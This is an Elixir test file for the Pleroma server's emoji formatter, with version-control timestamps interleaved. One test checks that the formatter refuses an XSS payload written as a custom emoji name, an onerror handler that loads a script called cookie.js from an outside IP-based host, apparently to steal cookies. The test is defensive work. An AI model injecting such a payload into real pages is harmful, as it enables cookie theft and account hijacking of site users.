2019-08-29 21:01:37 +02:00
# Pleroma: A lightweight social networking server
2020-03-02 06:08:45 +01:00
# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
2019-08-29 21:01:37 +02:00
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emoji.FormatterTest do
alias Pleroma.Emoji.Formatter
use Pleroma.DataCase
describe " emojify " do
test " it adds cool emoji " do
text = " I love :firefox: "
expected_result =
2019-10-28 23:18:08 +01:00
" I love <img class= \" emoji \" alt= \" firefox \" title= \" firefox \" src= \" /emoji/Firefox.gif \" /> "
2019-08-29 21:01:37 +02:00
assert Formatter . emojify ( text ) == expected_result
end
test " it does not add XSS emoji " do
text =
" I love :'onload= \" this.src='bacon' \" onerror='var a = document.createElement( \" script \" );a.src= \" //51.15.235.162.xip.io/cookie.js \" ;document.body.appendChild(a): "
2019-08-31 09:14:53 +02:00
custom_emoji =
{
" 'onload= \" this.src='bacon' \" onerror='var a = document.createElement( \" script \" );a.src= \" //51.15.235.162.xip.io/cookie.js \" ;document.body.appendChild(a) " ,
2019-08-29 21:01:37 +02:00
" https://placehold.it/1x1 "
2019-08-31 09:14:53 +02:00
}
|> Pleroma.Emoji . build ( )
2019-08-29 21:01:37 +02:00
2019-10-29 18:49:32 +01:00
refute Formatter . emojify ( text , [ { custom_emoji . code , custom_emoji } ] ) =~ text
2019-08-29 21:01:37 +02:00
end
end
2020-04-03 13:03:32 +02:00
describe " get_emoji_map " do
2019-08-29 21:01:37 +02:00
test " it returns the emoji used in the text " do
2020-04-03 13:03:32 +02:00
assert Formatter . get_emoji_map ( " I love :firefox: " ) == %{
" firefox " = > " http://localhost:4001/emoji/Firefox.gif "
}
2019-08-29 21:01:37 +02:00
end
test " it returns a nice empty result when no emojis are present " do
2020-04-03 13:03:32 +02:00
assert Formatter . get_emoji_map ( " I love moominamma " ) == %{ }
2019-08-29 21:01:37 +02:00
end
test " it doesn't die when text is absent " do
2020-04-03 13:03:32 +02:00
assert Formatter . get_emoji_map ( nil ) == %{ }
2019-08-29 21:01:37 +02:00
end
end
end